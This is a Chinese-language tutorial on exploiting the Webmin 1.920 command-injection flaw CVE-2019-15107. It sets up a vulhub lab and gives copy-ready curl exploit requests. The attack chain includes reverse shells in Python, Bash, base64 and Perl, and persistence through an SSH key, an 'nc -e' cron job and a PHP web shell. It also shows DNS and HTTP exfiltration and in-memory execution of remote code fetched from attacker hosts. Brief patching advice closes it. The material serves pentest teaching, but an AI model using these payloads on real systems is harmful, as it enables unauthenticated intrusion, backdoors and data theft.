Webmin 1.920 命令执行漏洞(CVE-2019-15107)复现:3步利用password_change.cgi获取Shell
Webmin 1.920 命令执行漏洞深度利用指南:从原理到Shell获取
在渗透测试实践中,能够快速识别和利用已知漏洞是安全研究人员的基本功。CVE-2019-15107作为Webmin历史上一个关键的安全漏洞,其利用方式具有典型的教学意义。本文将从一个实战演练的角度,带您深入理解这个漏洞的触发机制,并构建完整的攻击链条。
1. 漏洞环境搭建与基础验证
搭建一个可靠的测试环境是漏洞研究的首要步骤。推荐使用Docker快速部署Webmin 1.920漏洞环境:
docker pull vulhub/webmin:1.920 docker run -d -p 10000:10000 --name webmin vulhub/webmin:1.920访问https://your-ip:10000(需忽略浏览器安全警告)即可看到Webmin登录界面。值得注意的是,该漏洞利用不需要任何身份认证,这也是其危险性的重要体现。
基础验证可以使用简单的curl命令:
curl -k -X POST "https://target:10000/password_change.cgi" \ -d "user=non_existent&pam=&expired=2&old=test|id&new1=test2&new2=test2"如果返回结果中包含uid信息,则证明漏洞存在。这里有几个关键点需要注意:
- user参数:必须使用系统中不存在的用户名
- old参数:管道符后的命令会被执行
- HTTPS协议:Webmin默认使用SSL加密连接
2. 漏洞原理深度解析
这个漏洞的核心在于password_change.cgi脚本对用户输入的处理不当。当满足以下条件时,系统会执行恶意命令:
- 请求发送到/password_change.cgi接口
- user参数值不是系统中的真实用户
- old参数中包含管道符(|)拼接的命令
Webmin在处理密码修改请求时,会检查用户是否存在。如果用户不存在,它会尝试直接修改/etc/shadow文件,而在这个过程中没有对输入进行充分过滤,导致命令注入。
漏洞触发流程:
- 攻击者发送包含恶意命令的POST请求
- Webmin检查用户不存在
- 系统尝试修改shadow文件
- 在修改过程中执行了注入的命令
- 命令输出被包含在HTTP响应中
3. 完整利用链构建
3.1 信息收集阶段
在获取初始命令执行能力后,首先需要收集系统信息:
curl -k -X POST "https://target:10000/password_change.cgi" \ -d "user=non_existent&pam=&expired=2&old=test|uname -a; id; ip a; netstat -tulnp&new1=test2&new2=test2"这些信息将帮助我们了解目标系统的架构、网络配置和运行服务,为后续操作提供依据。
3.2 交互式Shell获取
为了获得更稳定的控制,我们需要建立反向Shell。以下是几种常见方法:
Python反向Shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker-ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Bash反向Shell:
bash -i >& /dev/tcp/attacker-ip/port 0>&1编码后的Payload:
对于存在特殊字符限制的情况,可以使用Base64编码:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC9wb3J0IDA+JjE=" | base64 -d | bash3.3 权限维持技术
获取初始访问后,应考虑建立持久化访问:
添加SSH密钥:
mkdir -p ~/.ssh && echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys创建定时任务:
(crontab -l 2>/dev/null; echo "* * * * * nc -e /bin/sh attacker-ip port") | crontab -安装Web Shell:
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/backdoor.php
4. 高级利用技巧与防御绕过
在实际渗透测试中,可能会遇到各种限制措施。以下是几种应对策略:
4.1 命令分隔技巧
当某些字符被过滤时,可以尝试替代分隔符:
# 使用换行符 old=test%0aid # 使用&& old=test&&id # 使用$() old=test$(id)4.2 数据外带技术
当无法直接看到命令输出时,可以通过DNS或HTTP请求外带数据:
# DNS外带 old=test|dig `whoami`.attacker-domain.com # HTTP外带 old=test|curl http://attacker-ip:8000/?data=$(whoami|base64)4.3 内存执行规避
为避免在磁盘留下痕迹,可以使用内存执行技术:
# Python内存加载 old=test|python -c "import urllib2; exec(urllib2.urlopen('http://attacker-ip/shell.py').read())" # Perl一行式 old=test|perl -e 'use Socket;$i="attacker-ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'5. 漏洞修复与防护建议
对于系统管理员,应采取以下措施防护:
- 立即升级:将Webmin升级到1.930或更高版本
- 访问控制:限制Webmin管理界面的访问IP
- 入侵检测:监控对/password_change.cgi的异常访问
- 最小权限:按照最小权限原则配置Webmin功能
在渗透测试完成后,应完整记录利用过程,并协助客户进行安全加固。漏洞利用的最终目的是提升系统安全性,而非破坏。
